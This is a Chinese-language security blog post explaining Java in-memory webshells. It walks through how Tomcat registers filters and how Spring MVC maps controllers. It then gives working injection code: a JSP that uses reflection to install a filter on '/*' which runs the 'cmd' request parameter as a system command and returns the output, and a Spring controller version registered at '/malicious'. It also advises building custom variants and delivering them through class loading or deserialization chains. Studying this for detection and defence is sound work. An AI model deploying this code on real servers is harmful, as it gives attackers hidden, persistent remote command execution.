<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】前塵——內存中無處可尋的木馬

    VSole2022-08-09 08:53:25

    前言

    很早之前就立下flag說聊聊內存馬,然后出了一篇文章Java Agent的內容。后來就擱淺了,這次想先寫聊聊兩種最為常見的內存馬,spring內存馬和filter內存馬。

    兩種內存馬異同

    既然寫出了兩種內存馬,那么兩者一定有他的不同之處。基于filter類型的內存馬更適用于老版本的javaweb工程,其單純依賴于jsp,servlet這種站點,然后使用filter過濾器注冊出一句話木馬。而spring內存馬準確來說應該叫做springmvc內存馬,由于springmvc被列入spring全家桶,所以spring內存馬也因此由來,此種類型的馬適用于前些年較火的SSM框架。所以使用哪種內存馬取決于目標采取的項目架構。相同之處就在于其原理都是通過反射的方式注冊了一個給用戶訪問的方法,而方法的內容為常見的各類webshell。在下文之前我想給讀者一點提示,內存馬通過web路徑的方式訪問,而路徑就需要向代碼中添加和請求路徑相匹配的方法,來處理請求中攜帶的命令執行的參數。

    filter型內存馬

    與spring內存馬不同的是,filter類型的內存馬訪問的流程提前于spring內存馬。而相同的是,依舊是創建一個訪問集,將webshell當作這個訪問集的處理方法。

    聲明一個filter有兩種方式,一種是通過xml配置文件的方式,另一種是通過注解的方式。

    我們通過對filter注解方式的源碼查看,了解其注冊的流程。

    @WebFilter(filterName="FirstFilter",urlPatterns="/first")public class FirstFilter implements Filter {    @Override
        public void init(FilterConfig filterConfig) throws ServletException {        // TODO Auto-generated method stub
        }    @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
                throws IOException, ServletException {        // TODO Auto-generated method stub
            System.out.println("進入Filter");
            chain.doFilter(request, response);
        }    @Override
        public void destroy() {        // TODO Auto-generated method stub
        }
    }
    

    Filter的執行流程

    詳細的說,Filter的執行流程主要分為兩個部分:

    初始化部分:對于定義好的Filter過濾器(例如上面自定義的MyFilter),會首先創建過濾器對象,并保存到過容器中,并調用其init方法進行初始化。

    執行部分:當匹配到相應的請求路徑時,首先會對該請求進行攔截,執行doFilter中的邏輯,若不通過則該請求則到此為止,不會繼續往下執行(此時通常會進行重定向或者轉發到其他地方進行處理);若通過則繼續執行下一個攔截器的doFilter方法,直到指定的過濾器都執行完doFilter后,便執行Servlet中的業務邏輯。

    Init Part:

    通過自己編寫webfilter類并調試,發現其初始化的最上級為StandardContext類的startInternal方法

    其方法主要內容為

    if (ok) {    if (!filterStart()) { // 初始化Filter。若初始化成功則繼續往下執行;若初始化失敗則拋出異常,終止程序
        log.error(sm.getString("standardContext.filterFail"));
            ok = false;
        }
    }
    

    看來真正初始化filter的是filter start方法。

    此處先了解兩個Map集合

    // filterConfigs是一個HashMap,以鍵值對的形式保存數據(key :value = 過濾器名 :過濾器配置信息對象)private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();// filterDefs同時也是一個HashMap,其中保存的數據是(過濾器名 :過濾器定義對象)private HashMap<String, FilterDef> filterDefs = new HashMap<>();
    

    其中ApplicationFilterConfig包含過濾器名、初始化參數、過濾器定義對象等等

    其中FilterDef定義了filter的名稱,類路徑,以及filter聲明的實體類。

    由此可以得知:FilterDef+過濾器名+初始化參數+xx等等=ApplicationFilterConfig

    繼續跟進filter start方法。

    public boolean filterStart() {    if (getLogger().isDebugEnabled()) { // 日志相關
            getLogger().debug("Starting filters");
        }    boolean ok = true;    synchronized (filterConfigs) { // 初始化過濾器屬于同步操作
            filterConfigs.clear(); // 在初始化前,先清空
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()){
                String name = entry.getKey(); // 獲取過濾器名
                if (getLogger().isDebugEnabled()) { // 日志相關
                    getLogger().debug(" Starting filter '" + name + "'");
                }            try {
                    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); // 創建過濾器配置對象
                    filterConfigs.put(name, filterConfig); // 添加配置對象
                } catch (Throwable t) {
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString("standardContext.filterStart", name), t);
                    ok = false;
                }
            }
        }    return ok;
    }
    

    關于代碼第九行遍歷filterDefs時產生疑問,filterDefs中并未進行初始化填值,所以值從何處來。

    for (FilterDef filter : webxml.getFilters().values()) { // 循環配置信息中的過濾器定義對象
        if (filter.getAsyncSupported() == null) {
            filter.setAsyncSupported("false");
        }
        context.addFilterDef(filter); // 將過濾器定義對象添加到容器中}/**
    * 最后發現fireLifecycleEvent方法最終調用的是StandardContext類中的addFilterDef方法
    * 而參數filterDef正是容器context經過解析web.xml文件或者注解配置后創建的過濾器定義對象
    * 但此時filterDef中的真正過濾器對象filter還未初始化,因此才會有之后的初始化過濾器方法
    */public void addFilterDef(FilterDef filterDef) {
        synchronized (filterDefs) { // 同步添加過濾器定義對象
            filterDefs.put(filterDef.getFilterName(), filterDef); 
        }
        fireContainerEvent("addFilterDef", filterDef);
    }
    

    Invoke Part

    調用Filter的方法入口StandardWrapperValve類中的invoke

    public final void invoke(Request request, Response response) throws IOException, ServletException {
        ...
        ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); // 創建并初始化過濾器鏈
        try {        if ((servlet != null) && (filterChain != null)) { // 此處需要判斷servlet和過濾器不為空。因為在執行完過濾器鏈中所有的過濾器doFilter方法后,就會輪到真正處理請求的servlet來處理
                if (context.getSwallowOutput()) {                try {
                        SystemLogHandler.startCapture();                    if (request.isAsyncDispatching()) { 
                            request.getAsyncContextInternal().doInternalDispatch();
                        } else {
                            filterChain.doFilter(request.getRequest(),
                                    response.getResponse());
                        }
                    } finally {
                        String log = SystemLogHandler.stopCapture();                    if (log != null && log.length() > 0) {
                            context.getLogger().info(log);
                        }
                    }
                } else {                if (request.isAsyncDispatching()) {
                        request.getAsyncContextInternal().doInternalDispatch();
                    } else {
                        filterChain.doFilter(request.getRequest(), response.getResponse()); // 執行過濾器鏈中的所有過濾器的doFilter方法
                    }
                }
            }
        } catch(...){...}
    ...
    }
    

    到此處有一個疑問,filterChain怎么創建的?

    ApplicationFilterFactory類的createFilterChain方法:

    其中牽扯

    FilterMap filterMaps[] = context.findFilterMaps(); // 獲取過濾器映射對象

    filterMap 怎么來的?

    public class FilterMap extends XmlEncodingBase implements Serializable {
        ...    private String filterName = null; // 過濾器名,對應的是<filter-name>中的內容
        private String[] urlPatterns = new String[0]; // 過濾url,對應的是<url-pattern>中的內容(可配置多個<filter-mapping>匹配不同的url,因此是數組形式)
        ...
    }
    

    filterMap它其實就是個封裝了配置映射信息中 過濾器名 和 對應過濾url 參數的對象數組。

    最后構造惡意對象如下所示:

    <%
        String name ="filter";
        ServletContext servletContext = request.getServletContext();
        ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
        Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
        Field field = ApplicationContext.class.getDeclaredField("context");
        field.setAccessible(true);
        StandardContext standardContext = (StandardContext) field.get(applicationContext);
        Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
        filterConfigs.setAccessible(true);
        Map configs = (Map) filterConfigs.get(standardContext);    if (configs.get(name) == null){
            Filter filter = new Filter(){
                @Override            public void init(FilterConfig filterConfig)  {
                }
                @Override            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    String cmd;                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                        Process process = Runtime.getRuntime().exec(cmd);
                        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(                            new java.io.InputStreamReader(process.getInputStream()));
                        StringBuilder stringBuilder = new StringBuilder();
                        String line;                    while ((line = bufferedReader.readLine()) != null) {
                            stringBuilder.append(line + '\n');
                        }
                        servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                        servletResponse.getOutputStream().flush();
                        servletResponse.getOutputStream().close();                    return;
                    }
                    filterChain.doFilter(servletRequest, servletResponse);
                }
                @Override            public void destroy() {
                }
            };
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(filterDef);
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            filterMap.addURLPattern("/*");        /**
             * 將filtermap 添加到 filterMaps 中的第一個位置
             */
            standardContext.addFilterMapBefore(filterMap);
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
            configs.put(name,filterConfig);        out.write("success");
        }
    %>
    

    spring型內存馬

    我們經常聊SSM框架中三層模型,DAO層負責數據庫交互,service層負責業務邏輯的處理,controller層負責用戶請求接口的匹配。以前做過的項目在上家公司離職都刪除了,所以github隨便找了一個項目供大家參考。(注:三層模型僅為邏輯分層,符合代碼規范,可不照做。)

    而spring內存馬的核心就在于controller層

    圖中項目所用到的注解@GetMapping 聲明了前端訪問后臺時所匹配的路徑,相同類型注解還有@PostMapping以及@RequestMapping其區別在于請求方使用post方式請求還是get,而request即為全部兼容。然后處理的方法為其下方books方法,內部通過調用service層的方法處理然后返回。

    對Filter內存馬有了初步的了解之后,我們來轉到springmvc的Controller型內存馬。

    public class Controller{    public Controller(){
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Method method2 = InjectToController.class.getMethod("test");
            PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            InjectToController injectToController = new InjectToController("aaa");
            mappingHandlerMapping.registerMapping(info, injectToController, method2);
        }    public void test() {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();    // 獲取cmd參數并執行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }
    

    這是我在網上找的controller型的內存馬,我們來分析其主要實現邏輯

    1.利用spring內部方法獲取context

    2.從context中獲得 RequestMappingHandlerMapping 的實例

    3.通過反射獲得自定義 controller 中的 Method 對象

    4.定義訪問 controller 的 URL 地址

    5.定義允許訪問 controller 的 HTTP 方法(GET/POST)

    6.在內存中動態注冊 controller

    7.實現controller中的method對象

    仔細對比github中實現controller的方法和通過反射的方式注冊的兩種對比,可以發現。

    基于springmvc做的controller內存馬其實就是將原本注解方式方提供的實現方式,以代碼的形式實現。而使用的類就是注解的實現類。

    聊聊疑惑

    看完兩種內存馬

    1.基于filter型的內存馬

    2.springmvccontroller型的內存馬

    我想回答幾處疑問

    1.controller型內存馬實際為@RequestMapping注解的代碼實現,Filter型內存馬實際為@WebFilter注解的代碼實現,為什么不直接使用注解構造內存馬,這樣做代碼量少還很方便?

    使用注解的類在java運行時有一個條件,這關乎于java代碼運行和加載的流程。當jar包在初始化時,jvm會掃描使用到使用到注解的地方,并且將其解析。而內存馬是在程序運行時產生的,這恰恰錯過了jvm掃描到注解并解析的過程,所以使用注解使用則不會生效此為其一。其二為對于安全從業者來講,我們通常喜歡使用反射機制。從某種意義上來講,反射可以繞過多種限制,這里舉例<如何破解Java中的單例模式>。反射更像是一種入口,從反射機制可以映射出任意類,這大大提高了代碼抽離性。

    2.內存馬的變種那么多,例如resion的變種內存馬,基于springmvc的intercetor型內存馬等等,我們應該如何發現屬于自己的內存馬?

    市面上的內存馬變種很多,數不勝數。打造屬于自己的內存馬的前提是我們要清楚內存馬的共性。前端用戶輸入的參數到后臺處理結果,將結果返回給前端,這個過程中經歷了什么我們要清楚,他的執行流程是什么。例如 從過濾器——>攔截器——>controller

    這樣一個過程中,哪些環節是我們可以向其插入執行邏輯的。簡而言之,哪里能捕獲到用戶輸入的參數,并且可以自定義其對參數的處理邏輯哪里就可以被當作內存馬的殖民地。市面上的內存馬無一例外都有這種特征。選擇好植入的位置,下一步就是怎么深入其實現的原理,如filter型,聲明filterdef,filtermap,filterconf等等就可以創建一個filter對象,使用反射將其實現。

    3.明明兩種方式都有落地文件,怎么算的上內存馬?

    這個問題要結合內存馬的使用方式,在上篇文章中介紹了一部分關于冰蝎的一句話木馬實現邏輯,提到最關鍵的類為Classloader,其可以將java的字節碼加載到jvm中。內存馬就可以配合此使用,將內存馬編譯字節碼然后加載此為其一。

    其二是配合java的反序列化使用,在存在java反序列化的地方,使用構造鏈+內存馬的形式發送給解析鏈,解析鏈就會實現內存馬的類。不清楚反序列化的可以看我之前的文章,有shiro,cc,spring等等。

    總結

    與其說這是一篇分析內存馬的文章,我覺得還是叫他 Filter的實現原理深入,以及關于 RequestMapping 的實現原理深入說的準確。一句話木馬加上執行鏈的任意一環就是我們所說的內存馬。到這里我們從java的反序列到冰蝎一句話木馬原理探究再到內存馬的系列,回頭看我們走了很遠。我們會發現一個特點,這些知識點都是串連的,他們看似毫不相干,卻又息息相關。滲透的本質是信息收集,而攻防的體系是知識點的串聯。有一天你我會發現事物的本質是如此重要……

    spring自定義注解filter過濾器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java審計其實和Php審計的思路一樣,唯一不同的可能是復雜的框架和代碼。
    很早之前就立下flag說聊聊內存馬,然后出了一篇文章Java Agent的內容。后來就擱淺了,這次想先寫聊聊兩種最為常見的內存馬,spring內存馬和filter內存馬。
    sql注入已經出世很多年了,對于sql注入的概念和原理很多人應該是相當清楚了,SSTI也是注入類的漏洞,其成因其實是可以類比于sql注入的。BladeBlade 是 Laravel 提供的一個既簡單又強大的模板引擎。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
    最常見的情況是使用 Tomcat 作為 Java Web 服務器,使用 Spring 提供的開箱即用的強大 的功能,并依賴其他開源庫來完成負責的業務功能實現
    //把Map的購物車轉換為Item列表??//應付總價=商品總價+運費總價-總優惠??然后實現針對 VIP 用戶的購物車邏輯。所以,這部分代碼只需要額外處理多買折扣部分:public?
    業務同學抱怨業務開發沒有技術含量,用不到設計模式、Java 高級特性、OOP,平時寫代碼都在堆?CRUD,個人成長無從談起。其實,我認為不是這樣的。設計模式、OOP 是前輩們在大型項目中積累下來的經驗,通過這些方法論來改善大型項目的可維護性。
    0x01 前言在上一篇文章中深入淺出內存馬(一),我介紹了基于Tomcat的Filter內存馬,不光是Fil
    JSP內存馬研究
    2021-10-16 07:49:21
    最近在研究webshell免殺的問題,到了內存馬免殺部分發現傳統的Filter或者Servlet查殺手段比較多,不太容易實現免殺,比如有些工具會將所有注冊的Servlet和Filter拿出來,排查人員仔細一點還是會被查出來的,所以 我們要找一些其他方式實現的內存馬。比如我今天提到的JSP的內存馬(雖然本質上也是一種Servlet類型的馬) 。
    對于web服務來說,為防止非法參數對業務造成影響,在Controller層一定要做參數校驗的!requestBody參數校驗POST、PUT請求一般會使用requestBody傳遞參數,這種情況下,后端使用DTO對象進行接收。只要給DTO對象加上@Validated注解就能實現自動參數校驗。
    項目介紹 前后端分離架構,分離開發,分離部署,前后端互不影響。 前端技術采用vue + antdvPro + axios。 后端采用spring boot + mybatis-plus + hutool等,開源可靠。 基于spring security(jwt) + 用戶UUID雙重認證。 基于AOP實現的接口粒度的鑒權,最細粒度過濾權限資源。 基于hibernate validator實現的校驗
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类